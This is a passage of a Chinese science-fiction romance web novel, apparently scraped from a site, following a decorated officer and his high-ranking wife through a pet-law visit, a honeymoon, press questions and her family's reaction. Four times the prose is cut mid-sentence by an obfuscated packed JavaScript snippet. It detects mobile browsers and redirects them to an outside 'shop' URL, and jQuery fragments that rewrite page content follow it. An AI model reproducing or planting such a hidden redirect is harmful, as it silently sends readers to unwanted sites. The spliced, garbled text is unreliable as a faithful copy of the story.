兰司珞莫名觉得对方身上出现了一点敌意。 他挠挠头,不由得坐直了身体。 白咪被放进医疗舱,监控装置的信息也在上传分析中,王予深看了看进度,适时开口:“兰少将,我们有几条《宠物法》相关规定需要与你确认一下。” 兰司珞上学的时候都没这么认真过,一听这话就夹紧双腿坐直,手放在膝盖上,乖巧地点点头。 “根据《宠物法》规定,取了与主人相同姓氏的名字的宠物,将享有一定范围内的主人财产分配权。根据你的财产登记,兰白咪现在的分配份额包括我们现在所在的这颗星球、你个人收入的5%,以及你和你的配偶名下总共5%的夫妻共同财产。另外,你所获取的军衔和荣誉包含的亲人优惠政策,兰白咪是不能享受到的。请问你是否要给兰白咪改名?” 兰司珞把头歪向元墨洇,小声问:“是这样算的吗?” 元墨洇:“嗯。” 他又问:“亲人优惠政策是什么?” 没等元墨洇开口,王予深主动解释道:“你进军团的时候应该了解过,累计不同的军功可以让自己的亲人享有不同的优待。” 兰司珞:“……” 他不记得这件事了,毕竟他进军团的时候孑然一身,没有亲人。 杜音的目光还紧盯着医疗舱,听了这话不由得用手捅了捅王予深,王予深似乎也想到了这一点,轻咳一声,又问道:“请问是否要给兰白咪改名?” 兰司珞茫然:“为什么要改名?” “很多人取名的时候对《宠物法》并不了解,不愿意让宠物享有自己的财产分配权,因此有一次后悔的机会。” 兰司珞摇头:“不改,我看白咪很喜欢这个家。” 杜音见他这么果断,终于收起她似有若无的敌意,王予深的笑容看起来也比之前亲切了许多:“根据《婚姻法》,你和元墨洇大人结婚后,她的一部分财产已经变更为夫妻共同财产,其中就包含有兰白咪所继承的5%。因为元墨洇大人身份特殊,所以需要她本人进行特殊授权。” 王予深将自己的光屏移动到兰司珞面前,上面有一份长长的授权确认书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357282|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰司珞默默把这块光屏放到元墨洇面前。 元墨洇快速划动了几下:“没问题。” 兰司珞又殷切地把光屏挪回自己面前:“我来帮你授权。” 王予深露出欲言又止的神情,斟酌着开口:“元墨洇大人身份特殊,她的信息都是特殊加密过的,最好还是请她本……” 话音未落,兰司珞已经将上面的授权选项全部确认好,把光屏推了回去。 王予深一脸恍惚地接过,走完后面的流程,看了一眼杜音。 杜音回了他一个意味深长的眼神。 后续两人又给元墨洇和兰司珞,主要是兰司珞,科普了许多宠物相关的知识。 大约半小时后,白咪精神抖擞地出了医疗舱,见没有它的其他事了,立刻迈开四条腿从窗户跳了出去,直奔花园。 杜音看着报告上写的“兰白咪:身体健康指数S,心情愉悦程度S”,笑着点了点头,又看向后面写的“脂肪含量接近临界值,建议控制营养摄入”,皱了皱眉。 她看了看窗外,花丛里时不时就窜出一个雪白的毛团,显然白咪的运动量是达标的。 于是她抬头问兰司珞:“你刚才说的你给兰白咪吃的食物,麻烦说一下大致的分量。” 兰司珞想了想,说了句稍等,跑到厨房拽来两大袋猫粮。 一袋是猫咪正餐,兰司珞掏出一盒递了过去:“这个牌子的猫粮我买了所有口味的,每天换着给它吃,这盒用的是翡西肉,应该都差不多吧。” 另一袋是猫咪零食,兰司珞把手伸到最底下摸索半天,终于摸出来最后一包:“这个是白咪最喜欢的零食,我没事就喂它两口,应该……也没什么吧,上面写着‘健康零食’。” 杜音拿着两件食物仔细比对成分表。 忽然有一只手从她手里拿过了那包零食,她抬头看了一眼,元墨洇的目光从白咪的身体情况报告和零食上逐一掠过,将零食递还给兰司珞:“以后每天最多喂两包。” 兰司珞拿着零食左看右看:“不是写着‘健康零食’吗?” 元墨洇敲了敲上面的一行字:【建议每日摄入量:成年猫5袋以内,未成年猫3袋以内,老年猫2袋以内。】 兰司珞:“!” 杜音似乎懂了什么,好奇地问道:“你平时都喂几包?” 兰司珞偷看了一眼元墨洇:“10包……我看白咪平时不是爱吃嘛。”所有他闲着没事就喂两包。 他在身旁三人意味不同的目光中心虚地攥紧手里的零食袋:“知道了,我以后少喂一点。” 事情基本都结束了,杜音走到窗边去看白咪在外面玩耍的样子,王予深向兰司珞告别:“兰少将,这里有一份定期回访时间安排表。按照规定,幼年猫需要一年回访一次,成年猫需要两年回访一次,老年猫需要半年回访一次。每次回访前我们会提前一周通知你,麻烦你到时候配合工作。” 兰司珞点头:“应该的。” 兰司珞将两人送到了停机坪,看着他们的飞船离开。 他回过头,白咪又去欺负他的猫爪欧希德去了,元墨洇也出了门,站在白咪身边,用一个仪器依次检查每一根被白咪打过的猫爪的状态。 他脸上不知不觉展开一个阳光的般的笑,轻快地朝她们跑去。 43. 蜜月旅行 这几日,兰司珞总是鬼鬼祟祟地抱着白咪躲在厨房说悄悄话。 他自以为藏得很好,但他不知道元墨洇在书房工作完,会打开那个他从没见过的监控装置,听他跟白咪都偷偷说什么。 耳机里传来清晰的撕开零食包装袋的声音。 兰司珞一边投喂一边说:“这是今天最后一袋了,你怨我也没办法,你妈妈不让我多喂你……等等,不许埋怨妈妈,你还是生我的气吧。” 白咪发出柔弱的“咪咪”叫。 兰司珞的声音放大了一点:“来,慢慢吃,你边吃,爸爸边跟你商量个事。过两天,爸爸要带妈妈出去玩,你一个人、猫在家里看家好不好?” 白咪:“咪?咪!” 兰司珞的声音在耳机里来回绕圈:“白咪啊,不是我不想带你,但是爸爸跟妈妈结婚后的第一个蜜月,你忍心跟着去打扰我们吗?你要是同意了就‘喵’一下,趁妈妈开会,我再给你喂一包零食,就说是我吃的。” 白咪:“咪咪咪!咪!咪咪!” 兰司珞的声音越发的底气不足,伴随着一阵零食袋一点点被撕开的声音:“那我就当你同意了哦,你放心,之前陪你一个猫在家里住的哥哥姐姐,我会把他们叫来陪你的。” 然后是零食堵住嘴的声音和零食袋被攥紧在手心的声音。 过了一会,书房门开了一条缝,露出兰司珞的一双漂亮的蓝色眼睛。 元墨洇不动声色地摘掉耳机。 兰司珞把门缝开得大了一点,比着口型无声问道:“开完会了吗?” 元墨洇点点头。 兰司珞“嗖”地闪进书房,趴在元墨洇身后的椅背上:“过两天,我们出去玩吧。” 元墨洇调出日历看着,兰司珞从她身后伸出手,指着上面的日期说:“我做了个旅游攻略,我们可以从16号出发,然后在天市垣星域玩半个月,再找个地方过元旦,接着去琅玕星域看奥运会。” 他低头看了看元墨洇的头顶,伸手搂住她,把下巴轻轻磕在她的发丝上:“我跟白咪商、商量好了,就我们两个去,好不好?” “好。” 飞船上,兰司珞透过窗户,看着下面在停机坪上追着飞船往上跳的白咪变得越来越小,叹了口气:“唉,有了家庭,果然心里放不下的事就多了起来。” 元墨洇从他身旁走过,他立刻把白咪忘到九霄云外去,走到驾驶室,调出自动驾驶路线,招手让元墨洇过去看。 元墨洇定睛一看,满满当当的行程里,全是知名网红星球,甚至中间还安排了诸如“与某某影帝影后的3d投影合照”之类的活动。 元墨洇点开影帝影后的个人信息,代表作果然是兰司珞平时爱看的那几部电视剧:“我可以安排人直接联系他们。” “他们会给我们这个面子吗?”兰司珞惊喜地问,又后知后觉地想到元墨洇的身份,“我的意思是说,元家还能管到天市垣星域去吗?” 他可是还记得何晞曾有意无意透露给他,关于八大星域之间隐隐的相互争斗。 元墨洇:“八大星域的风格各不相同,天市垣星域都是商人,和气生财,林氏会给我这个面子。” 兰司珞眼睛亮了:“那我想要他们拍的电影的典藏版录像和签名。” 元墨洇点点头。 网红星球的游玩项目层出不穷,除了兰司珞计划中的之外,常常有别的玩法吸引到他的注意力。 比如他现在在看的这家“斗大鹅”。 店外有一面巨大的屏幕,上面是两只气势汹汹的大鹅,竟然穿着全套的鹅型机甲,在竞技场里打得不亦乐乎。 兰司珞站在店外看了一会,对身旁的元墨洇说:“我们也进去看吧,这个看起来好有意思。” 元墨洇任由他把自己拉了进去。 进去后才知道,大鹅是要自己抓的。 并且视频上看不出来,进了养鹅场,兰司珞才看见一个牌子写着【青园星域第七十一农场培育·最新品种大鹅·身高2m·翼展10m·期待各位勇士一展身手】。 兰司珞看着那个数据,又看了看养鹅场里骤然飞起的几只遮天蔽日的大鹅,一时说不出话。 两人身旁站了许多被外面的视频吸引进来的人,此时也在激烈地讨论着。 “这家店认真的吗?我自己都没有2m高。” “我听说去年被清剿的外星生物菲尼克斯才3.5m,那叫一个凶残,这鹅能赶上一只幼年菲尼克斯了吧。” “这要我们怎么抓啊?” “我有点头晕,宝宝我们换一家吧。” …… 有人去询问店家,店家回复说给抓鹅的勇士准备了机甲,只需要把一种特制颈环给鹅套上就行。 听见不用拖着一只比自己大许多倍的鹅到处乱跑,许多人松了口气,好几个感兴趣的都付了钱准备试试。 兰司珞也付了钱,领了个号码牌回到元墨洇身边:“我是3号,我们可以先在外面看看人家怎么做的。” 1号很聪明,借着机甲飞在空中,套圈似的把颈环往下扔,扔了大概十几次后真让他中了一次。 2号则是骑上了一只鹅,被鹅带着满地乱窜了许久后终于把颈环套了进去,出来的时候脚步虚浮,脸色发青。 工作人员开始呼喊3号。 兰司珞往前踏了一步,又回头抱了一下元墨洇,才在周围善意的哄笑声中红着脸跑进了养鹅场。 兰司珞穿上了店家提供的机甲,与他自己的专用于作战的机甲不同,这套民用机甲无论是速度还是力量都要大打折扣。 他进场之后没有轻举妄动,而是稍稍活动了一下身体,适应机甲的数据。 观战的有人低声对身边的人说:“这应该是个专业的。” 话音刚落,兰司珞动了。 他直接拉满了推进器,在一片惊呼声中斜插入鹅群里,惊惶的鹅们吓得开始不断扑腾自己的翅膀,遮天蔽日的巨大白色翅膀一瞬间淹没了他。 “咦,人呢?” “这就没了?” “刚刚谁说他专业的?” 也有起哄的转头观察元墨洇的脸色,却发现元墨洇神色未动,目光锁定在那只最大的鹅身上。 好奇的目光随着她一同投射在那只鹅身上。 只见那只最大的鹅突然伸长脖子“嘎”了一声,张开双翼飞了起来,玻璃外的众人只觉得眼前一花,就看见金色的阳光依次从鹅毛上流淌而下,长长的尾羽拂过面前的玻璃,仿佛画卷徐徐展开,大鹅盘旋而过,脖子上套着一个金属颈环。 而兰司珞单手抓着颈环,随着鹅跟着绕场转了一圈,然后轻轻巧巧地降落在正对着元墨洇的玻璃处。 他抬手比了个“耶”,隔着头盔,元墨洇似乎看到了一张灿烂的笑脸。 周围的人鼓起掌来,养鹅场的通道打开,兰司珞飞奔出来,抱着元墨洇的胳膊把脸贴上去:“你看到没有?我厉害吧!” 元墨洇摸摸他的头:“嗯。” 参赛的选手在竞技场可以拥有一个单独的包厢。 这一轮想要参赛的玩家都抓完鹅后,元墨洇和兰司珞坐在3号包厢里,里面除了紧贴着三面墙壁的一圈沙发外,还有一面墙的单向玻璃,可以看到竞技场中的情况。另外有一块屏幕,上面正在展示他们的3号鹅的现况。 比赛还没开始,兰司珞正在看3号鹅穿机甲:“这叫什么?鹅用机甲?” 他回过头看元墨洇。 元墨洇斜倚在沙发上,不像平日里正襟危坐的样子,用手轻轻撑着脸颊:“正式名称为动物用仿机甲防护装置。” 这一长串名字毫无疑问地从兰司珞左耳朵流入,又从右耳朵流出,了无痕迹。 他连鹅也忘了,只顾着看面前的元墨洇,他很少见过元墨洇这么放松的模样。 裁判宣布比赛开始惊醒了兰司珞,他小跑到沙发上坐下,和元墨洇一起看两只穿着机甲的鹅互相用翅膀扇对方的头。 包厢只能隔绝光线,却并不隔音,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360707|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围时不时响起一阵笑声。 兰司珞看得津津有味,跟着笑了几回,忽然开口问道:“你平时怎么都不爱笑?” 不等元墨洇回答,他又自顾自说下去:“不过你好像对别人也不笑,但是你对我笑过,这么一想还是我运气好。其实我觉得你不笑比笑起来好看,不笑的时候有种让人想亲一下的感觉。” 一大堆话说完,元墨洇将脸侧向兰司珞的方向,目光从他微红的脸颊一路滚落到他攥紧的手指上。 于是她稍稍坐直起来,在四周欢快的笑声中微微沾了一下兰司珞的唇角。 她的头发从兰司珞的锁骨边路过,带来一阵酥酥麻麻的电流。她顺势将手搭在兰司珞的肩上,换了个方向靠着。 不爱笑有什么关系,兰司珞一个人笑得比十个人加起来都开心。 背着第一名的奖品,一只2m高的照着参赛大鹅1:1复刻的鹅玩偶走在大街上,兰司珞费劲地把头从鹅翅膀里伸出来,望着这颗星球上特地建造的一座很高的钟楼说道:“今年马上要过去了。” 元墨洇一只手快速地操作着自己的光屏:“嗯。” 兰司珞把头从鹅玩偶的脖子和翅膀的缝隙中挤出来看向元墨洇:“我们不回元家,真的没事吗?” 元墨洇关掉光脑,无视上面还在不停闪烁的消息提醒:“没事。” 兰司珞毫无所觉:“既然这样,我先带你去个地方。” 第二天,兰司珞带着元墨洇到了天市垣星域的一颗普通生活星球上,来到了这里唯一一个珍辰之家。 他的手想要去按响门铃,又在接触到的前一秒蜷缩起手指,自嘲道:“这叫什么?近乡情怯?” 元墨洇握住他的手,替他按了门铃。 珍辰之家的工作人员较之兰司珞生活在这里时并没有太大变化,他们似乎都记着兰司珞,一路走来,每个人都在打招呼时喊出了他的名字。 兰司珞走到一面布满储物柜的墙边,看着其中一个干净的柜子:“果然还是擦掉了啊。” 他笑着和路过的一位工作人员打了招呼,看着对方用同样的笑容面向了另一个方向的小孩子,转头看向元墨洇:“你说,如果没有冷辰一那条‘不能偏心’的规定,他们会不会都最喜欢我?” 他忘了自己是从什么时候起开始渴求的这份偏爱,似乎从他记事起,无论做到多么好,都不会有工作人员特殊对待他。 可他从小就是很优秀的人,不是吗? 他抱紧元墨洇的手臂:“至少现在,有你承认我了。” 珍辰之家的负责人带着他们去了院长的办公室。 兰司珞虽然在这里长大,却是第一次来到办公的地方,好奇地打量周围的环境。 院长在隔壁的会客厅内,传话让他们稍等片刻。 兰司珞问招待他们的秘书:“院长在忙什么?” 秘书微笑着回复他:“今天有一对夫妻预约了断绝关系送养,还有衡镜司那边有犯人被判剥夺养育权终生,他的孩子也会送到珍辰之家直到成年。” 出了珍辰之家,兰司珞带着元墨洇来到不远处的一条河边。 坐在长椅上,他将头枕在元墨洇肩上:“这是我的秘密基地,只告诉你一个人,我连赫帆都没说过。” 元墨洇柔软的发丝拍了拍他的头。 “你说,我的父母是罪犯呢,还是不愿意养孩子的人呢?罪犯的话,我去衡镜司星域那几次,会不会路过他们所在的星球?”兰司珞看着面前冰凉的河水静谧地流淌,问道,“我有时候在想,如果我的亲生父母知道我现在这么厉害,还能跟你结婚,他们会后悔吗?” 元墨洇没说话。 兰司珞抿嘴:“不过就算他们会后悔,我也绝对不会去查他们的信息的,谁让他们不要我。你觉得呢?” 元墨洇的声音像面前的河水一样清澈:“签了断绝关系协议书后,任何人查询你的亲属关系都算违法。” 兰司珞深吸一口气,笑着说:“是吗?这样也好。” 44. 糖果也许是真的糖果 琅玕星域,奥林匹斯星。 因为奥运会的缘故,私人飞船排了5分钟的队才得以降落在这颗星球上。 兰司珞从飞船上一跃而下,轻车熟路来到一家酒店。 这家酒店的位置较为偏僻,以元墨洇和兰司珞的身份,其实完全可以预约到奥林匹斯星最中心位置的豪华酒店。 但是兰司珞偏偏预约了这一家,元墨洇也跟着他一路来到预定好的房间里。 虽然比不得豪华酒店的装潢和设施,但是房间打扫得很干净,布置得也很温馨,窗前的桌上摆着晶莹剔透的花瓶,上面插着一束带露水的花。 兰司珞坐在酒店的床上,看着窗边的元墨洇,忽然解释道:“其实十年前我就住在这里,这家酒店,这个房间。” 元墨洇的手轻抚花瓣,目光看向窗外。 这里离奥运会的几大场馆都有很远的距离,从窗户向外望去,只能看见林立的高楼像层层阻碍挡在他们和奥运会之间。 兰司珞低着头,他们谁都没有看向对方。 露珠顺着花瓣滚落在桌面上,兰司珞终于开口:“你已经全部想起来了吧,你妹妹给我的治疗方案里写的,今天是最后一天。” “嗯。”元墨洇的声音依然平静。 兰司珞看着自己的脚尖:“我当时在这里等了3天,才知道3天可以这么长,长到需要用10年来填充。其实我今天带你来是有私心的,我……我想知道如果当时你来了这里,我们之间会是什么样子。” 今天是最后一天,意味着他那个拙劣的谎言会被戳穿,公主的舞会结束,他失去了仙女教母的魔法,即将被打回原型。 他编织的十年美好生活终于破裂,露出里面冰冷的现实。 眼泪挂在兰司珞的眼睫上,像失败的魔法碎片。 兰司珞走到元墨洇身边,抿着唇,像是准备接受审判。 元墨洇环住他的腰:“我知道,是我想骗你。” 元墨洇眼前却浮现出汤燧星里,兰司珞站在她面前,抹着眼泪说自己放不下的可怜模样。 兰司珞以为元墨洇不直到。 但她一直都知道。 否则兰司珞怎么会一到法定结婚年龄就能把她放入结婚对象无需预审系统里。 他做事根本不看流程和具体介绍,所以他不知道,他放进去之后,元墨洇这边就会接收到确认通知。 否则兰司珞怎么会每升一级军阶就跑去查看她的信息。 他根本不知道,自从元墨洇出事之后,关于她的信息被进行了更高级的特殊加密,星网上所有关于她的风吹草动都会直接传输进她的私人管理系统里,由她亲自审查后才能放出。 那些信息密密麻麻堆积在她的管理后台中,一大半都是兰司珞在到处找她。 窗外吹进来一股风,裹挟着一缕刚翻新过的草地的气息。元墨洇伸手关上了窗户,房间里便又只剩下她在中级学院念书的时候,每次走过兰司珞的座位都能闻到的一股糖果的甜蜜气味。 那些违背糖分摄入量的零食偶尔会转移到她的口袋里,在不需要严格把控的时候被吃掉。 “兰司珞。”元墨洇忽然说,“你还没有看过我家。” 兰司珞背过身去快速抹了一把眼皮:“我看过、看过厨房。” 他还没有学会怎么使用那个神秘的厨房里的设备,想到这里他一阵失落。 元墨洇用光脑调出自己常住的私人星球的监控:“阿枢找你签名的那些,都是我给她买的。” 简洁的房屋布局在兰司珞面前放大,他看到足足有五层楼高的书房,书架上整整齐齐摆满了书,从地上堆到了天上去,以及…… 有一个架子和别的架子明显不一样,上面摆满了兰司珞。 兰司珞的战斗影像,兰司珞的攻击技巧,兰司珞的机甲手办,兰司珞的照片。 “我一直在你身边。”元墨洇说。 有些模糊的细节在血液的轰鸣声中反倒清晰起来。 兰司珞脑海里响起元墨枢的声音,她说:“一个连照片都没有的个人信息界面,怎么可能显示位置这么重要的信息呢!” “所以……”兰司珞傻笑,“果然还是因为我长得好看对吧。” 元墨洇:“……” 兰司珞把手里的监控画面反复划动放大,看眼熟的小机器人开动滚轮滑了进来,开始打扫书架。 “这些小机器人的名字都归我来取吗?” “怎么办?厨房我还没学会怎么用。” “这个花园好大,白咪一定会喜欢的。” 元墨洇在旁边静静听着。 “下次奥运会,我们还住这里吧。” “好。” 出门的时候,兰司珞总觉得忘了什么。 然而到了比赛场馆之后,他才知道自己到底忘了什么。 这几天玩得太开心,兰司珞把自己被两份公告推上星网风云人物的事给忘了! 连他通讯列表里好几年不联系的人都给他发了消息,记者怎么会放过他呢。 所以,兰司珞刚到场馆,还没来得及找位置,就被蜂拥而上的记者里三层外三层地包围了。 更可怕的是,记者的动作,带动了以及进入场馆的人的目光。只是过了几分钟,兰司珞只感觉整个场馆里所有人都在看他。 天上的太阳明晃晃的,照得他眼睛都花了。 与兰司珞的头晕目眩不同,元墨洇冷漠地扫视了周围一圈,朝记者们微微点头,便收回了视线,显然没把目前的情形放在心上。 记者们似乎也不太敢招惹元墨洇,都默契地把镜头和话筒全部对准了兰司珞。 兰司珞:“!” 他虽然喜欢万众瞩目的感觉,但并不包括被人盘问。 还在第三军团的时候,遇到这种情况,兰司珞往往是把何晞往前一推,然后脚底抹油当场跑路。 现在这种情况,他要是敢把元墨洇推出去自己跑了,估计第二天,不,下一秒就会在星网上刷到他们的离婚公告。 他只好硬着头皮往前挪了半步,跟记者们打了个招呼。 八卦记者是最积极的,头一拱就挤到了最前排,用最大的声音吼道:“兰少将,请问你们是在汤燧星做任务认识的吗?是闪婚吗?你对这件婚事有多久的信心呢?” 其他记者听得暗暗擦了一把汗。 兰司珞抬头挺胸:“我们不是闪婚,我们是上学的时候认识的,到现在已经交往十几年了。” 他忽然想到什么,心虚地偷看了一眼元墨洇。 记者们敏锐地捕捉到了这个小动作,探寻的目光落在元墨洇身上。 元墨洇面不改色:“嗯。” 兰司珞松了口气,又自信满满地回答了几个问题。 那位八卦记者不甘示弱地问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364430|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交往这么多年,你为什么要加入帝都星军团呢?是你们之间闹矛盾还是星域之间的阴谋?” 其他记者都默默往旁边踏出一步,心道现在的八卦记者为了流量命都不想要了。 兰司珞不知道该怎么回答,手足无措地呆立着,大脑飞速转动,一点办法都想不出来。 身前落下一片阴影,元墨洇站在了他前方。 “他说想要向我证明自己,我同意了。” 有元墨洇态度鲜明地挡在前面,再也没人敢问出格的问题,采访很快结束了。 “唉。”兰司珞走在路上,叹了口气,“早知道这些记者这么难对付,我就乔装打扮一下了。” 他在帝都星域的时候,任务都是连轴转,又没有什么花边行为,哪里见过这个阵仗。 元墨洇伸出手来,落在他的颈边。 兰司珞脸上飞起两团红晕:“这、这里好多人。” 元墨洇在他衣领处按下隐藏按钮:“定制外套,安装了光学变装芯片K013,军团制式量产。” 兰司珞羞涩的红晕变为尴尬的红晕。 “这么厉害啊……哈哈……我都不知道……” 元墨洇又按动了旁边另一个隐藏按钮,兰司珞的光脑发出响声,他打开来,光脑提示:已收到定制外套K系列明书一份,请查阅。 兰司珞:“……” 他穿了八年这种类型的外套,为什么除了元墨洇没有人告诉他这件事?! 比赛还没开始,兰司珞坐在观众席,把头靠在元墨洇肩上:“一直都只有你对我好,他们连说明书都不告诉我。” 他骤然从元墨枢身边弹起,瞪圆眼睛:“所以你喜欢我真的是因为元家需要中和一下智商?” 元墨洇却说:“比赛开始了。” “哦。” 兰司珞乖乖地重新坐下。 比赛进行到一半。 “不是。”元墨洇说。 比赛结束后。 兰司珞后知后觉地问道:“所以你为什么要想一段时间才回答?” 元墨洇神色如常:“我在考虑中和智商这项研究的可行性。” 第二天早上,兰司珞焦虑地打开新窗口又关上。 元墨洇坐到他身边,一句话也没说,他就好像找到了精神支柱一样振奋起来:“我好像说错话了,昨天他们采访我的时候,有些东西我是不是不该说,还有有些回答我是不是应该说得好听一点……” 元墨洇耐心听完他一早上的焦虑,替他打开了那篇新闻稿:“他们都是优秀的记者。” 兰司珞急于知道元墨洇话里的未尽之意,抛开那些担忧读起面前的文字。 新闻稿里,一个名叫兰司珞的人优雅、周到又不失礼貌地回复了记者的问题,他轻轻巧巧地描述了那些应该表达的东西,又对该缄默的地方闭口不谈。 如此恰到好处的文章,它将属于真正的兰司珞的那些天马行空的文字打磨成圆润的宝石,就像把一颗粗制滥造的糖包裹进精美的玻璃糖纸里。 他又确认了一遍,那些话确实被加工过了,仿佛从手写体变成了统一打印体。 他看了一眼身旁在忙着做自己的事情的元墨洇,第一次对自己结婚对象是一位星族联盟位高权重的大人有了实感。 怪不得通讯列表里面那些人得知了他结婚的消息,一个个说话的口吻像要找他拼命似的! 45. 回家 奥运会结束后,元墨洇在飞船上拦住了兰司珞设定路线的手。 兰司珞疑惑地看向她。 她一边修改路线,一边说:“你回家,我要去一趟元家。” 元家在普罗米修斯星域拥有一个星系,家主所住的星球叫作元初星,位于这片星系的中央。 兰司珞嘴角的弧度垮塌下来:“是回去见你、咱们的父母吗?我不能去吗?” 他应该没这么拿不出手吧。 他垂下头:“我不是绿茶,我也不是故意挑拨离间,我就是想问问,他们是不是不喜欢我?” 元墨洇设定好路线,转头看他:“嗯,所以我回家纠正一下他们的想法,下次再带你回去。” 兰司珞:“……” 总觉得元墨洇那一脸平静下藏着什么恐怖的方案。 到了设定好的中转星球,元墨洇还是撇下了依依不舍的兰司珞,独自一人前往元初星。 提前收到了她要回家的消息,因此她的父母,以及元墨枢,都坐在客厅等她。 元墨洇自然地走过去,无视了给她留出的位置,坐在了元墨枢旁边。 元母见元墨洇一个人,往她身后看了看,问道:“那个兰司珞呢?” “我让他先回家了。” 元母不悦地抿嘴:“结婚瞒着我们也就罢了,这么久了人也不来家里拜访一下。” “纠正一下。”元墨洇坐直身体,喝了一口茶“按照规定,元初星现在是我和兰司珞的家,他不需要回自己家拜访任何人。” “你这孩子……” “珍辰之家的交接资料,一周内提交给我。” “我……” “你想清楚之后联系我,我带兰司珞回家。” 元墨洇说完就起身朝门口走去。 元母用手肘捅了捅元父,元父装作没有感觉到的样子埋头喝水。 元母知道自己早就拿元墨洇没有办法,看元父这个样子,习惯性地把一双眼睛转到跟着元墨洇一同起身的元墨枢身上。 元墨枢往元墨洇身后躲去。 元墨洇拉上元墨枢的手:“我给阿枢买了一颗星球,以后她就住那里。” 元母怒视元墨枢,“胡闹!你怎么可以怂恿你姐姐……” “好耶!”元墨枢跳起来打断了父母的不满,“我回房间收拾东西,姐姐你等我跟你一起走。” 元母看着在门口等人的元墨洇,脸色变换,终于叹了口气:“墨洇。” 元墨洇避开她的手:“嗯。” 她看着自己的手,声音低了下去:“珍辰之家的资料我会整理好,你过几天带兰司珞回家让我们见见吧。” “好。” 她又看向楼梯的方向,那里通往元墨枢的房间。 原本还有一间房间,是元墨洇还在孕育舱里的时候,她亲手布置的。 可是后来的发展超出了她的预料,那间房虽然留着,但是除了一张几乎没被使用过的床,根本没有任何元墨洇的痕迹。 元母试图在脑海中想象出一个元墨洇喜欢的风格的房间,但她发现自己竟然布置得元墨洇喜欢什么样子。 她张了张嘴:“你喜欢……你什么时候……你和墨枢……” 元墨洇微微侧着脸,很认真地听着的样子。 她却从未如此清晰地明白过来,这条路从一开始就走错了,现在说什么都晚了。 她想了想,问道:“兰司珞是一个怎样的人?他对你好吗?你喜欢他吗?” 说完她就自嘲地笑了,这本来应该是一位母亲知道自己女儿结婚后立刻应该询问的问题,她却花了这么久才想明白。 元墨洇轻轻点头:“是一个很好看的人,放在家里很有意思,我很喜欢他。” 这话不像元墨洇平时的风格,她听了愣住片刻,又想到她根本不了解元墨洇是什么风格。 走廊上传来元墨枢风风火火的脚步声,元母轻叹:“你这么支持墨枢,她现在应该完全不会再听我们的话了吧。” “嗯。” 她看着元墨枢拖着一口袋东西快乐地跑过来:“事已至此,我和你爸爸不会再插手你们的事了。不过,我们给你定制了婚纱,已经送到了兰司珞那个什么……冰淇淋星去,这是爸妈的一点心意,希望你喜欢。” “好,谢谢。” 元墨洇接上元墨枢转身离去。 飞船启动后,元墨洇打开光脑,光屏上呈现出元母发来的婚纱设计图和展示视频。 元墨枢好奇地把头凑过来,忍不住“噗嗤”笑了出来。 视频里是一条十分华丽的抹胸长裙,裙摆层层叠叠,设计师不知在谁的怂恿下放弃了裙撑,堆了几十层不同的布料、纱和蕾丝,硬生生支撑着裙子蓬起夸张的弧度。 整体参数里的重量一栏过于惊人,因此设计图里还附带了反重力装置。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367017|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >元墨枢目测了一下,觉得这条裙子会让兰司珞在婚礼上的作用从新郎变成拎裙摆的花童。 元墨洇点开自己的通讯软件,联系了自己的服装设计师齐虹。 资料发送过去后,齐虹那边足足闪烁了10分钟的“对方正在输入”。 齐虹:[您最近喜欢这种风格吗?] 元墨洇:[这是我母亲设计的,我需要你按照我的想法改动这条婚纱的设计。] 齐虹:[这个工程有点大,恐怕要当面才能讲清楚。] 齐虹:[位置信息] 元墨洇:[15分钟到。] 飞船一路上忙忙碌碌,送走了元墨枢后又接上了齐虹,终于开始往冰淇淋星驶去。 齐虹一路上详细询问了元墨洇的偏好,下了飞船还一边走路一边在光脑上对着原设计图开始修改。 婚纱被送进了卧室,两个人走到卧室门口的时候,齐虹还在对着元墨洇说:“您的喜好与这条裙子的原设计出入很大,可能需要把其中许多东西推翻重做才能……” 她目瞪口呆地吞下了后面的话。 卧室里,那条原本妥帖存放在衣架上的纯白婚纱里长了个人。 